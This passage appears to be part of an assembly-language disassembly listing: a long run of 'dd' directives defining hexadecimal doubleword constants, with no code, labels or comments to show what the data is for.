		dd 99FF0FE7h, 16B01CF8h, 3DA02223h, 7C8178E5h, 52199571h
		dd 9AACF0h, 872A4365h, 49DFB11Dh, 9B619304h, 98A4B734h
		dd 9E93B68h, 82F99713h,	8A20AB78h, 4EFFD446h, 45502012h
		dd 57003D77h, 0EA1B2E5Eh, 0D26D7DAh, 0A37C466Fh, 82F83010h
		dd 4501D844h, 0DC844D5Fh, 0C3007B84h, 0E239EB02h, 75FFC32h
		dd 0CA19770Ch, 89280CA4h, 4923DB37h, 0B0ABE089h, 0A1536206h
		dd 0B4525159h, 54A3452Ch, 0F58E8540h, 6AF301CCh, 9579A4FEh
		dd 87AD4546h, 0A82492E4h, 29A7DE02h, 5F85A404h,	87804114h
		dd 4281AD77h, 9080A758h, 591FEAA1h, 74B2EC2Ah, 0D8EE6095h
		dd 3C5C493Fh, 0F153A018h, 1907AE28h, 6E8179EBh,	90A771E0h
		dd 776A181Ch, 0A09CE847h, 0FC87182h, 0E676F70h,	8F906032h
		dd 5A023106h, 58198E41h, 46D08374h, 30138CA2h, 7B44F660h
		dd 7400937Bh, 3FCF6909h, 326D4DBBh, 0ACA00E1Fh,	882C262Ah
		dd 83627C40h, 42922477h, 0F46000F3h, 85761ACDh,	3908BF0Bh
		dd 0ACA084C7h, 660CEB40h, 11003E1Ah, 0F9019BD9h, 4B4F8D3h
		dd 26FB8219h, 457C833Bh, 58085294h, 8A688FC6h, 89A7D0A5h
		dd 3690F8DCh, 85A93F02h, 0E08B68F8h, 5C9E77F8h,	47C0602Bh
		dd 3E1F1EF5h, 9BE78600h, 0AF088F92h, 0D3761E06h, 46C509B6h
		dd 423884E0h, 696E6F12h, 0BEDF1C20h, 10D20189h,	0FE21DBB6h
		dd 40F451C5h, 0BBB211D9h, 0E8FBA450h, 50100161h, 5AF6AE55h
		dd 302D08h, 0F07A7288h,	0A86A6CB1h, 9C941F30h, 0C97343A8h
		dd 0CDF2ACB0h, 8C2B4301h, 0C2AF6FEh, 20DEC3E0h,	0CA148A20h
		dd 2240D840h, 0CEC000B4h, 120A03A9h, 267FE15Dh,	7C90DB76h
		dd 74BF8A22h, 4CAD882Bh, 0BA6E4B16h, 2030F416h,	256A3B7h
		dd 20D4148Eh, 0F466B086h, 1BF0F00h, 5D15F3E2h, 0B20800F0h
		dd 33EEAC1Dh, 492ECA44h, 9C2E6CA2h, 0DFB34F40h,	5B90001Dh
		dd 0BD3350C5h, 0ED73407Eh, 2A96B001h, 0B81FE6A0h, 0A06AC0F4h
		dd 53A88C0h, 0B9E7FD2Dh, 0D7B88C89h, 0F1F37705h, 58416B18h
		dd 0E92226F7h, 44B7930h, 0F92B9449h, 29ECE3B3h,	0FD0098A7h
		dd 3B54BFFFh, 10F79AFh
		dd 0EC23639Ch, 2DA06075h, 0CE000E4h, 796A5D1Ah,	0A7DC2451h
		dd 0FE114064h, 8D003666h, 0DECF2DC5h, 1C834978h, 4B7751A8h
		dd 0B803AC76h, 40F16C31h, 5C6C8Ah, 219AF980h, 0E1DF2Ah
		dd 5FE2C005h, 20508381h, 0F890FC1Bh, 91B7F710h,	0FA6D72C0h
		dd 23A200E0h, 1CE5298h,	32338B10h, 91EF9A4h, 0E6B824E0h
		dd 0D4D2F4B0h, 89E29F01h, 0A693C650h, 37297D4h,	56B95877h
		dd 0CC85D8EDh, 461411A0h, 0CD669Bh, 0E5944A18h,	51CBB74h
		dd 5E384122h, 7AC9030h,	0CF12DFCCh, 0C886BF9h, 40790166h
		dd 0D801C4A3h, 9080D31Ah, 0E1033BF0h, 0E2C3FF74h, 0CE26E9C1h
		dd 2300AC2Dh, 9CECAF2Bh, 2F0E6B31h, 0AFAC9D8Ah,	71250068h
		dd 0A6446DC2h, 42E801C8h, 0B287EBC7h, 1B7980B9h, 0A45F5BF3h
		dd 0D09C05EFh, 6EA7D8h,	0D97209B8h, 0B60191CCh,	6DDA2752h
		dd 7C7128ABh, 4F405C17h, 0B812945Ah, 0BB80435h,	0C01F79BCh
		dd 6DAF83ADh, 26F56700h, 0AC5FF431h, 0C2A72CBFh, 0E62B4214h
		dd 34FD8155h, 0B1F40304h, 4068B684h, 8A9F437h, 8D0E0500h
		dd 0D3F85F35h, 0B0EB1EDBh, 8B49B00Bh, 0FCB2928Ah, 83F8D600h
		dd 34B10D3Eh, 99A7EEDEh, 0DF790064h, 9EF769CEh,	52EB9D00h
		dd 9C4EE865h, 0E77B2Eh,	895E0910h, 0A0705561h, 160F9CB1h
		dd 3F250001h, 7664B4h, 47154D8Bh, 0FC8642A7h, 6FA8E506h
		dd 2E02E88h, 0CB3ED3DBh, 74FB515Fh, 2067100Eh, 4446ECCCh
		dd 0B7861FF4h, 0DB180543h, 0A788B434h, 0B38028BEh, 0AD6F3A16h
		dd 422E004Dh, 77109EE3h, 0F204751Bh, 623DA607h,	4A5FC0A4h
		dd 502848BEh, 38416C13h, 0D476ABB7h, 41E99C48h,	0C01454AAh
		dd 526A4E69h, 0F0A9A100h, 2127B1FFh, 265CB634h,	13D011C8h
		dd 0BC2239D8h, 3F2886DEh, 58A74CE1h, 1BF80980h,	6609BE27h
		dd 801C4944h, 61FAADC4h, 0D6D5071Fh, 0D0EF407Bh, 8D90CA68h
		dd 62AB4800h, 0CBCFBDCEh, 0F039702Ah, 2FD603F0h, 6754431Ch
		dd 9EE266A1h, 96C05D39h, 1541D68Ch, 5B54015Ah, 46A8F0F3h
		dd 33308C13h, 2A08ECh, 2E18E619h, 6D95DC03h, 8F135800h
		dd 17E8F897h, 29E36030h, 7A3DD04Eh, 0B41D17B0h,	0AE808E04h
		dd 0D6B7F34Bh, 0D4FA0157h, 4792974Ah, 33909E30h, 389914h
		dd 0E62C7804h, 83EFEAh,	31DC5BE9h, 968C5AC9h, 0D67EA407h
		dd 0E1609A16h, 2A1C2A55h, 1970A0F0h, 19569E72h,	590EDBACh
		dd 9949919Dh, 7FD3D519h, 77960331h, 5B158DDDh, 879E5199h
		dd 20F71F19h, 30D9A246h, 4C41474Bh, 500C4C5h, 0B8E2FEEDh
		dd 7F7050h, 9D39F31Fh, 87D3D06Bh, 147D4498h, 0C6C8E606h
		dd 0E0491637h, 6F7FEBDh, 218EA20Fh, 8F7A7189h, 3BC6755Ch
		dd 0BAD09D64h, 0F1AD1440h, 1BA7A2h, 943DAC55h, 99E54082h
		dd 91426C30h, 18EA285Ah, 0D995D6EDh, 0E8603374h, 0B0F66B71h
		dd 353007B8h, 453721h, 975936C6h, 0D708FE00h, 0F5D8754Eh
		dd 29F801C2h, 3373A1FDh, 917C58B1h, 5AEBA05h, 8FC03C3Ah
		dd 8F429h, 389DDEA2h, 7FDB1139h, 92CAFC00h, 0ADF0A776h
		dd 0D0C0AB91h, 0E2250DE5h, 60A264D4h, 5D25FE9h,	9B001313h
		dd 85665C53h, 6EA505C2h, 80A1729Ah, 1230104Ah, 0DA9231C0h
		dd 3E86191h, 0D434C7F1h, 69DE4BA3h, 0F2E21698h,	0F70E907h
		dd 399C1D25h, 0C9456074h, 0C1E03307h, 4060B11Eh, 0CC72C9C0h
		dd 0EF7F61h, 7A1AC5F0h,	76A3FA83h, 309AB407h, 8BBC1Bh
		dd 4C64F6BEh, 93CA0F2Eh, 20D24036h, 32B18C90h, 37070F90h
		dd 0AA2C14F0h, 0E43933F0h, 72CF14CCh, 4000404Ah, 0AD3DEC29h
		dd 0D63F9B8Dh, 3C04248Eh, 14787566h, 0CC7AD550h, 18C01109h
		dd 8F7B1802h, 7DF71720h, 81106033h, 40E642D0h, 74D8C500h
		dd 894DFCBEh, 0B89A00CAh, 0E48267CDh, 0D62E06D5h, 0C71934A2h
		dd 0C8F59339h, 1EBFDD30h, 989BEB53h, 2B5111CFh,	0A9F0FB14h
		dd 909D84E4h, 0FAE33C8Dh, 0E7248074h, 0FC5231h,	0E8E19946h
		dd 1F56D6F7h, 0AD2510A0h, 0EEA6C900h, 4073AA75h, 32080018h
		dd 92CB60D6h, 464DB7C6h, 41D9094Ch, 42F0215Bh, 98F21DE4h
		dd 0E2A9FC28h, 0F4FA602Dh, 31FF9A9Eh, 0A5F1D705h, 56C080DBh
		dd 1C9B06Fh, 0C4E853DAh, 4747AAF0h, 5C44F464h, 9C402792h
		dd 4D0CB92Fh, 0A2070EF9h, 3FA1CADDh, 888093F4h,	139033A0h
		dd 398C3174h, 1C7680E8h, 58795334h, 7D3EE57h, 0C817AF02h
		dd 0D9308090h, 0D2283492h, 99006055h, 0A7155294h, 756379F7h
		dd 7632311Ch, 0D0DFA931h, 0EC18CA74h, 75A156C3h, 0DCF500DAh
		dd 39FAC9EDh, 5A1EC410h, 9A806B25h, 0AA9D1359h,	34D304BDh
		dd 80184E73h, 0D5453100h, 0D6E33700h, 0DDA80564h, 53B20146h
		dd 56AB7377h, 0E760D4AEh, 0EE33751Bh, 7B4898A1h, 723F00B4h
		dd 3496EA57h, 0D700E18Dh, 0BA1799A2h, 1194205Dh, 0C62D5ECh
		dd 41EBA827h, 2CD730EDh, 0C0CB7419h, 0AF0D652h,	0E4C1A927h
		dd 5660C048h, 0B3A872h,	0BA9E2FFAh, 0DFB45812h,	4B786B0Ah
		dd 0FD8BD848h, 7EDD8109h, 90217BB9h, 98D59EC8h,	87CB085Ch
		dd 4A115295h, 49BAE400h, 24F90BA8h, 73837613h, 215FD40Dh
		dd 11940C42h, 2F20D299h, 1BF96ECh, 64683C70h, 0F4762158h
		dd 320EC69Bh, 608BCBDEh, 9D7D57BFh, 39786E95h, 8FD1234Ch
		dd 14F47700h, 7D33291Bh, 4B9A00EDh, 0F2717A87h,	0FC00B01Ch
		dd 226638E4h, 4C59FF97h, 0E12C33B8h, 0EF4200B1h, 32AF9282h
		dd 0A898FCE6h, 2E007499h, 8DC8ABE6h, 7AEA3B23h,	245AD600h
		dd 4782CA10h, 3E9A9500h, 55CCB30Bh, 0FE32006Dh,	3E3A626h
		dd 9402211Eh, 9A5EDCF3h, 0A278836Bh, 0A37AA05Fh, 0B4ED0125h
		dd 0AEFDCDC2h, 0F3CBC433h, 220E48F8h, 407619E4h, 9E6D5777h
		dd 569A22BFh, 913B5509h, 0EB4C8442h, 0A63AA840h, 162E8E10h
		dd 3B3DE49Dh, 21223024h, 0CB3DDFEDh, 4900D41h, 0CD1263EEh
		dd 0E3009638h, 0BA27C85Ch, 3F410094h, 3EB639D7h, 9A0A0DEFh
		dd 0E452689Fh, 8342AD88h, 4A6CF5CAh, 485E72E9h,	900006E8h
		dd 0C380A49Bh, 12843049h, 84BD8D3h, 9F42EF7Ch, 0E9FE40B4h
		dd 0BC3C0034h, 0DA4680A7h, 1007C9Bh, 0DE787630h, 0B820F0C7h
		dd 47949945h, 1AF3A27Ch, 0DB6F5F40h, 3D38C800h,	0D1EF0C07h
		dd 5471030Fh, 262A631Dh, 17ECF900h, 9430B2FCh, 0BF0F004Dh
		dd 73B97099h, 0F039AE6Eh, 0D91B32D1h, 64E472h, 0B7B37328h
		dd 0E9FB657Fh, 1025A20Ah, 56114811h, 1408A500h,	199F02Fh
		dd 1BD7EC0Ch, 3587828h,	4F2E91CBh, 3A0FD2ABh, 382AFAC8h
		dd 3793D99h, 9D554013h,	51515D92h, 0B4AFEE10h, 73EC0116h
		dd 47B28259h, 72ABC02Ch, 9C3CC499h, 0A8450A5Eh,	0CA0308DAh
		dd 0C0F3833Bh, 0DCB43Dh, 23CFBC10h, 788B4564h, 761D52F2h
		dd 330C9798h, 9369EAh, 109CE8FBh, 1458AF2Fh, 226BB501h
		dd 51189911h, 59C3D0h, 0B4D6ECABh, 75401C29h, 9E509D58h
		dd 0CB266600h, 1EB3E5h,	506E88B4h, 51F45F7Bh, 0C2E0820Ah
		dd 9D0B0C41h, 26741096h, 0DC852962h, 5BCA0EBCh,	7B9C1A40h
		dd 25E2CB63h, 76C619DFh, 0EA295542h, 0A2960945h, 6C124B3Ah
		dd 0CC4EC441h, 90006029h, 0A450B9BCh, 2799AE4h,	0C6FE16Ch
		dd 8844A32Ah, 0F169544h, 6A68D555h, 2FDF4060h, 0AE026D29h
		dd 53A9B17Fh, 7B4460CEh, 3C9A28D1h, 9D4B370Ch, 0CB9C4141h
		dd 0B61CE0D5h, 0EFB83000h, 7A2D59A6h, 48D07426h, 0EA2A3480h
		dd 46D8C4E0h, 76824288h, 694CC09Ah, 836F36CDh, 4709C269h
		dd 80DB42E5h, 929B6648h
		dd 7776A6h, 1323B286h, 0CC0ECA06h, 50531A0Bh, 0D2288242h
		dd 70842992h, 4DDB61CBh, 72FF0h, 0C1CDD6F6h, 176E814Fh
		dd 976F8400h, 0F42124D2h, 7E94021Bh, 57747267h,	44A80068h
		dd 3A1C988Ah, 0ABA4002Bh, 0D2CB8A0h, 570F0552h,	60B5B4D4h
		dd 1FF09C9Fh, 0A31A00CDh, 0D7947F10h, 4CA48521h, 1807B4Ch
		dd 6BBB19A9h, 70D4725Bh, 20009811h, 1B4C41FFh, 0E4ED0190h
		dd 0A03376E3h, 18D681A6h, 0AB5C4953h, 56429D01h, 5008969Ah
		dd 8FB818A9h, 0D560FDE8h, 2F3137FAh, 62DCEC80h,	1E272135h
		dd 73434859h, 651D8095h, 0C393A78h, 20F7A982h, 0B3402EC2h
		dd 0D43FCA84h, 34AB0340h, 852899Ah, 1F3CD551h, 0E0069597h
		dd 170892CEh, 1A986CAh,	726AE324h, 2E23F0DAh, 41B09655h
		dd 60AF572Eh, 0AB580F90h, 0C0E44C04h, 0E0451BF3h, 597FCA9h
		dd 353612D4h, 28F1C04Ch, 0AF18F1CBh, 0C2C157D8h, 59976B49h
		dd 8BE8813h, 9B35E12h, 0EF6BF4C1h, 0DEEC988Eh, 62CC69F9h
		dd 763C00DCh, 0EC2C070Bh, 7B73060Ch, 29222AD3h,	0AA249700h
		dd 0D2276182h, 9CDF004Dh, 5360B031h, 0A713286Eh, 4C9083FEh
		dd 912305Fh, 87E9CBDAh,	49219886h, 80A80D48h, 0A49234C9h
		dd 0D8F2E1h, 290251BCh,	0C269734Dh, 0CC684A51h,	1F00F7EFh
		dd 0C5193AAh, 30834D5Ah, 3E109640h, 0D18488Ah, 0E3319B4Bh
		dd 0E1900099h, 819FC4C2h, 4800D1B7h, 3157AD0Ah,	480AA27h
		dd 0C31625D3h, 0E03C8956h, 0E4A8181Dh, 0FB4CDCF6h, 3B9E0BACh
		dd 4C5411CBh, 0EEF1B10h, 0FE209CB0h, 5FA30524h,	803CC7C8h
		dd 55F0C1CCh, 99CC29C3h, 0F519A9Fh, 8384294Ah, 0F26FE6F9h
		dd 2AE3AA0h, 850AC802h,	8348997Ch, 19AE998h, 42B474D0h
		dd 2937E416h, 7F49002Ch, 2C02186Ah, 105672F3h, 4A512Eh
		dd 0B2BF6EA9h, 229A4FABh, 0D3095282h, 80C818EFh, 0A82FE7B0h
		dd 0B3BF048Eh, 88164AABh, 506A5624h, 76454C31h,	1014E8C4h
		dd 72F317E0h, 0D21ED030h, 7D31000Ch, 3B996478h,	3600BA63h
		dd 3E91DA82h, 60FA7924h, 0CAC478DCh, 0B450AFCDh, 0ED12D428h
		dd 4C027496h, 60DC1BCEh, 12CAE594h, 31D5AFC8h, 896E870h
		dd 0B4E4828Fh, 51EBA106h, 7B45BFFh, 0C882413Fh,	7694518Ah
		dd 0F02D32h, 0A1BBBD8Ch, 2F49CFDh, 7201AC1h, 1DC060A8h
		dd 7C90F12Eh, 0A7965502h, 79158DDBh, 92A53C78h,	10557C91h
		dd 7CD873A3h, 0EC54A041h, 12E80704h, 834A2B90h,	11120544h
		dd 5408A110h, 74068F95h, 152BC062h, 1FA94040h, 756C0F84h
		dd 6347FBEAh, 44E3B027h, 0AC9090B5h, 40DFAB28h,	439C64E5h
		dd 36D40B00h, 0D0A20CA6h, 96BF17FFh, 49870F18h,	2DD541C1h
		dd 3D1C6093h, 54401D13h, 2FBC88h, 0AEB47CA7h, 0D07B6728h
		dd 2987800h, 8BC92C68h,	424044DEh, 72CC4613h, 0B7A404D0h
		dd 4B010009h, 32C07715h, 37B0BD49h, 582C6700h, 96113AB6h
		dd 46511226h, 0CB3C0015h, 9420443Bh, 0A9398212h, 70014412h
		dd 282AF397h, 93FCD180h, 488561E6h, 767B200Bh, 726A01F4h
		dd 0CC48DD84h, 4E419042h, 0ED6C608Fh, 49C93E70h, 870C900Dh
		dd 0FF8103D7h, 378B1768h, 28A394B8h, 8A0FD201h,	9B2A62D9h
		dd 3358B82Dh, 9707A43Fh, 53521AE2h, 1112A5EFh, 58C17A18h
		dd 0A30255F3h, 0FAB3EC98h, 59E7A101h, 5518F0E2h, 71FDECE0h
		dd 443A5A99h, 4275A9ACh, 205F72CAh, 0C947C227h,	0B3770600h
		dd 4C367AA6h, 8CA6B9h, 0FFD75649h, 3285FEB6h, 8B161C90h
		dd 38D04BA2h, 0EBA6Bh, 305178F7h, 0BBE7D999h, 44B20100h
		dd 74FF1291h, 0ECC0F9D5h, 33F22EC9h, 0D04A13F4h, 7AEB8850h
		dd 2C3C6B07h, 94503A82h, 0EC7F26h, 7155C159h, 7377241Ah
		dd 13C8058h, 8B409CD6h,	0C0531533h, 1822E00Ch, 0D19F00A5h
		dd 8ACA1F3Eh, 0DCA4DE76h, 2444EA24h, 0CD385611h, 87705B80h
		dd 26FCFF48h, 0FA360100h, 8A6009A9h, 598334BBh,	31744108h
		dd 0D40E9BD4h, 6A038985h, 68FC40A5h, 4DAFA090h,	26B2F884h
		dd 40143009h, 0C0115E3Eh, 7378C400h, 0A5455F87h, 0B3341665h
		dd 0AB38201Bh, 7004884Dh, 0E642CA25h, 80F44C4h,	1417663Ah
		dd 71ED2651h, 105D40B0h, 0E58F7C7h, 0C12080A8h,	0AA8E71h
		dd 9E32A792h, 241FCA86h, 2E47BA12h, 54482004h, 0ECA5805Ch
		dd 90CFF480h, 0D8058898h, 0E8D23592h, 16994C88h, 155295h
		dd 82677988h, 76248140h, 443A0E0h, 0A04A8925h, 0DBB4ECh
		dd 0FACA2096h, 10E173A2h, 1362F71Fh, 99EFC28Bh,	7E02D644h
		dd 4884B04h, 2F440197h,	0FB799563h, 0D08404C3h,	0C220E48Eh
		dd 841539CAh, 96627909h, 88D440E4h, 7B4890B8h, 0A69C18DCh
		dd 0F2305E78h, 0F328CB20h, 8FEA9C81h, 0B4AC60C7h, 0E7C2D605h
		dd 0B83049A0h, 75392DBh, 5AFBD165h, 5BED1024h, 749867D5h
		dd 91CDAC31h, 64291733h, 67969200h, 0F1C94EB3h,	347F9300h
		dd 0EB81E5C8h, 0F2391CE4h, 42FDCF56h, 8A70AF00h, 0EA2408D8h
		dd 9C24802Fh, 9B22A89h,	4E8C8480h, 41AFF042h, 43E93884h
		dd 0E8245C9Ah, 2C34039h, 8A967D5Dh, 0F7DE52h, 4BAD9218h
		dd 6339C01Ch, 93ECC3F3h, 61A28200h, 15740ADBh, 59EB0030h
		dd 0C36264FAh, 6B7A4D43h, 44787A78h, 0DCC4ED00h, 0B4AA2E28h
		dd 630D39E0h, 942248CCh, 6096881Eh, 80F5A940h, 2FA5AD0h
		dd 0DA15E258h, 0F8900D42h, 9D005375h, 796ABE22h, 269B3A55h
		dd 8754F4ABh, 32BF466Dh, 0C0802B54h, 26E15B35h,	1A602477h
		dd 1EB31BF1h, 655700D8h, 4B7CEFDCh, 48E8EB6Ch, 0BE41576h
		dd 0C9B12F00h, 0D870121Eh, 218B073Bh, 72C4949Ah, 5CA0B0CEh
		dd 1F2635A7h, 0D6901A09h, 8F837F5Fh, 62D91E41h,	5B286020h
		dd 0C7FA7507h, 0C66010A9h, 2CF3D1A2h, 0F304DBFh, 0CB09F01Ah
		dd 7262A022h, 0FC1CCCE9h, 0E004F2Fh, 0BE5A2303h, 0DFDC8Eh
		dd 91F1A4A0h, 0A82594C2h, 125C9B49h, 8491C3EDh,	0A19C9A0Dh
		dd 0EF5040D3h, 577EA06Dh, 2AD1F601h, 0CA9B1A5Eh, 13EC49C8h
		dd 893182D5h, 352863A4h, 507050A9h, 66286Ah, 22F41D7Fh
		dd 0E3BAB7C1h, 24FA483Fh, 7489B083h, 0C050E832h, 0A33B00D9h
		dd 5ED602FCh, 0D30F9880h, 0E158CF04h, 59DCE0BDh, 27C2A023h
		dd 6466A413h, 109F7089h, 69206Ah, 0C57D9C90h, 0D8DB1E8Eh
		dd 0A0303A4Fh, 0F8BE2630h, 0AAC90038h, 8473AC65h, 0C0B64F90h
		dd 981C2789h, 8453D598h, 806E9A26h, 1B0E64Bh, 2099EC2Eh
		dd 605A9362h, 0BE599855h, 0D22F009Ch, 0EFF9E55h, 31C90D8h
		dd 0F70CAF07h, 3CC15156h, 0D6118A06h, 7214143Dh, 43FB0034h
		dd 8B8DBFF2h, 0C3282C8Eh, 98D0204Ch, 96E0724Ch,	0C0CC9F54h
		dd 2246C9C2h, 6A008657h, 5E4DEEF5h, 3D1F1FCh, 6F64835Bh
		dd 0B902F24Ah, 4BBA91CAh, 0AEA0A090h, 3BED4Dh, 756E56E0h
		dd 14A3FA45h, 1D27FC38h, 0F0C0AB34h, 0A2C8D4D3h, 1B260066h
		dd 9353EAC3h, 0AB04573Fh, 4B4E9B72h, 831E09C0h,	0EEC818ECh
		dd 9D747029h, 0AD603CB6h, 0C3868437h, 0D6A05A08h, 78E2A383h
		dd 29055C63h, 0A6A852B3h, 0DCF4B8C9h, 0DC748927h, 8200ABBDh
		dd 0C5249A92h, 7AF20Dh,	3E42DB75h, 0C2C73639h, 0EA1C4B74h
		dd 9A416B60h, 63981982h, 0DAC058CDh, 0AB51002Ah, 0A61C9F4Ah
		dd 0E403EAE7h, 0D39CB287h, 954FD055h, 8CF35CDBh, 186C4D24h
		dd 1793D1EDh, 5F001B98h, 0AB45E660h, 9057861Bh,	0B4725CE4h
		dd 0C03EC18Eh, 77290ECCh, 0A63AFDD2h, 44BC0256h, 0C1DC1F18h
		dd 0B060E826h, 239A00CAh
		dd 491ECE54h, 9812C85Ch, 0DCB0366Eh, 9F9D3D55h,	0A303F85Dh
		dd 80E1D876h, 0F06D12E8h, 0A09532F0h, 68F6D3C8h, 0FCB83886h
		dd 0A2C34900h, 9D27CE0Dh, 86F4E00h, 0C0CB7BB5h,	0E71C98BBh
		dd 1A4F3985h, 12DB81FCh, 2569865Eh, 0FC2119AAh,	245ECA2h
		dd 0CB943E23h, 0E8A06D28h, 0E04C5240h, 27007598h, 447C34Bh
		dd 1F703693h, 5F86AAh, 46CB4D12h, 0C896E281h, 68177847h
		dd 0D34F2BB0h, 9CBE00E4h, 5ED7FDAFh, 0B304C8A2h, 0AAF0316Bh
		dd 3318ECADh, 0D2CC9114h, 6D7F7703h, 8FDB1539h,	444282C8h
		dd 8A341D9h, 0D881112h,	0EC26CA7Eh, 28003498h, 5EFB1765h
		dd 1DFD02E8h, 22DEA8A7h, 665D12C0h, 2EE22D1Dh, 0FF00211Eh
		dd 0C2680603h, 4679B5h,	0C125DEC6h, 764844A1h, 70D2220Fh
		dd 0C0E7A02Dh, 3C1C20h,	96369C3Bh, 1E625DA1h, 7DC5FD00h
		dd 0BC7C4D4Fh, 69306003h, 0C2703D1Dh, 2D0B6A00h, 8F4DEDA3h
		dd 0FCA93AD6h, 9C327286h, 0BE00895Dh, 84F5A080h, 14475Ah
		dd 0FFA18715h, 7DCE1D62h, 0DB86F20Ah, 2D008752h, 0FA21DD6Ah
		dd 0AE46006Eh, 6F3F4BA0h, 757F6637h, 38E3A718h,	0A039DD11h
		dd 30CD3414h, 5D7062B5h, 4B0098CEh, 0FB7037A4h,	0AE0C19A5h
		dd 0F5411194h, 0F6300756h, 1D8059D3h, 18DD497Bh, 0C108A595h
		dd 0B70C1E76h, 18F37D0Ch, 0A80F88BFh, 3F719363h, 39590034h
		dd 0B11440E0h, 4A00D4E8h, 0FD6874FEh, 327FEDh, 62FE288h
		dd 5A5154A4h, 20DE81C7h, 0D1D39971h, 38E1EED5h,	0E54C0840h
		dd 501C5C46h, 3B927D03h, 39766BF5h, 8A327100h, 0F1D813CAh
		dd 7E87308h, 75454F55h,	0F922D07Fh, 8C086289h, 835E1635h
		dd 95DE446h, 8995C903h,	42F6B842h, 0FA509088h, 39E17F58h
		dd 69F8A1A8h, 4403311Dh, 0DD920573h, 8232A898h,	0BD2F44h
		dd 5917F0EBh, 0DD0FAC80h, 875D19C0h, 879D922h, 5848A0CFh
		dd 0B8D44A80h, 0AB2BDEFDh, 0D7589840h, 79990122h, 598F4862h
		dd 0DD442042h, 50FE5B01h, 0F58CB0Ah, 74A9996h, 11D79D0h
		dd 0DC26677Eh, 0C0008EB1h, 95778BC3h, 1CEED23Bh, 0E1CA93h
		dd 9419449Dh, 0E7039ABAh, 908B3AFEh, 120CE132h,	0DD19002Ah
		dd 0A3B01BA0h, 5EA22903h, 0C88B4D4Ch, 538BA63h,	8932CA79h
		dd 377C0054h, 4C77F547h, 9C3610C6h, 3DFD1EF9h, 74DF804Bh
		dd 76502EEEh, 93F2520Eh, 0E7C05C79h, 3688B05Fh,	1B9D0334h
		dd 7E806F03h, 7C8FD0E7h, 0B503A98Ah, 8332CD27h,	28710955h
		dd 6810261Bh, 9500BC7Dh, 33D24EE2h, 60147447h, 8AD62884h
		dd 0C8F72705h, 0DD001659h, 375CC65Dh, 1F7E162h,	0F5FAE650h
		dd 0D34D2ED5h, 2B0061C6h, 0AEC02F8Ah, 77228E29h, 95491845h
		dd 81807C40h, 0E4A64228h, 44313F28h, 0AD20AB1Eh, 67179A00h
		dd 2FF586B9h, 24F6D2D9h, 64FBE200h, 7EB5DC93h, 0E4982E45h
		dd 39360041h, 0E5F2EB2h, 9042E8A8h, 6B20AD00h, 6318C6FFh
		dd 12017752h, 203ADE0Bh, 79A0B814h, 1125EB30h, 18A2F498h
		dd 4914B295h, 70010B7Ch, 419B53DBh, 9AD90F40h, 0BB99CC50h
		dd 1A29DF16h, 0D800F9D2h, 0E3AA1128h, 1A8A240Ch, 0E51963h
		dd 7A8408C4h, 4271AD05h, 0CA809661h, 49803B58h,	19DB659Ch
		dd 0B264134h, 8C009E8Bh, 0C9C65E72h, 1B110C5Ah,	22B1373Ch
		dd 0F4400100h, 0FCA333A6h, 0B47F00BFh, 6E83B7D1h, 61E8F714h
		dd 13604249h, 4C25E7E4h, 124C1410h, 0D40035E1h,	0BEA71686h
		dd 43745C65h, 18E5EB14h, 3EBDE40Ah, 4FB6003Ch, 24178B6Fh
		dd 0AA2D7100h, 0B579487Eh, 63D90BBh, 1E28C421h,	5930313Ch
		dd 0CB64917h, 0E74202A6h, 1F40C8D3h, 8B432060h,	32631905h
		dd 0A4466494h, 0A19936h, 83084110h, 0F23F3C7Eh,	2E0A0DE0h
		dd 0C8C871DCh, 0A5849E10h, 0BD7C470Ah, 930C9DD9h, 17A820F5h
		dd 83F87AD1h, 0F34C3F70h, 82311234h, 27E09C31h,	0D5F0170Ch
		dd 6063650Ah, 76070C04h, 9D204B02h, 1FF2E213h, 2A874E3Fh
		dd 0EFB10534h, 80587282h, 0E9A54F70h, 7AB34058h, 61FD0505h
		dd 0E0553C91h, 56E70C94h, 60F519EAh, 0A8B74953h, 300E5CF1h
		dd 0C27504B6h, 64744A52h, 6BBF0190h, 0E02F7F56h, 0F41103Ch
		dd 3021DED9h, 4EBB4680h, 6CD4700h, 7FB592F1h, 1D5802E7h
		dd 0D5945FABh, 0AA7DA480h, 200090F9h, 488F54EDh, 0BE7AC10h
		dd 60690934h, 0CC562804h, 8B01E6E4h, 10A980A1h,	3DDC19BEh
		dd 9144B06Bh, 0C30EBC14h, 0BF609A0Dh, 6403FA33h, 0CB7F99C0h
		dd 0C0923572h, 0DF8F0411h, 0A6077882h, 4C3E76AEh, 0B2964690h
		dd 919C2C9Ah, 0EFDB032Ah, 90333AC0h, 0BC17E820h, 446D2F03h
		dd 6262E499h, 0C483393Ch, 351F3428h, 610CCC19h,	57F2A300h
		dd 0EBA801BAh, 4A970117h, 2C3CF8E1h, 849FA6Dh, 9D51881Dh
		dd 9B368C2Eh, 0F20046B9h, 0D2068BAh, 1612A2CEh,	72386B88h
		dd 0B12057CCh, 62426Ah,	31BEBFEEh, 160EB3C8h, 0DDE44500h
		dd 0B4D051A8h, 6BB218DCh, 0EFD4104Dh, 0A6CAC61Eh, 42A91DC0h
		dd 4CBC7231h, 8F004180h, 0BEA4E5E6h, 0C635F2Ah,	2DF569h
		dd 957AEE71h, 6C2A1B4Ah, 12777698h, 16CE995Ch, 0D8489FA7h
		dd 542DC07Fh, 360C0BD9h, 0E9675738h, 920B086h, 0E57BAC6Eh
		dd 18BC2491h, 6BD3310Fh, 0C0BD2A31h, 0D491D779h, 0A118A044h
		dd 5249AD0h, 7E600470h,	0B4CBF0h, 0EFA4124Bh, 8E9BB711h
		dd 3DB54801h, 0A46D915h, 0C17EB991h, 0B8633188h, 0C71F7882h
		dd 0D0661E9Dh, 3808E028h, 582C4448h, 36E4805Ch,	21FCBCCh
		dd 73E28758h, 9840682Bh, 0A020BDEh, 49D71308h, 0C40407Dh
		dd 4F886B2h, 0E780F4BBh, 2FB1D850h, 532D0098h, 57AFA2A4h
		dd 0D100DE36h, 0D40571F0h, 0C7145F21h, 6E4DEE81h, 65AA6860h
		dd 492E319Dh, 3614CC63h, 2B09838Ch, 0D575B8F6h,	990700BAh
		dd 0C566ACEEh, 0C10F80FDh, 2385AE20h, 4804EB1Fh, 0DD2654A0h
		dd 36EC06DDh, 0F9004994h, 0CC9BAB8Ch, 0F60F5C78h, 75B3486Dh
		dd 35438501h, 40104730h, 39941D8h, 0A745E8C2h, 98088125h
		dd 36F5B8E5h, 0CD9EF180h, 0EF7AB08Bh, 67DC7024h, 0C74D370Fh
		dd 0E953DE18h, 835000D3h, 0A06D4976h, 0A31E73F5h, 2F43DDAFh
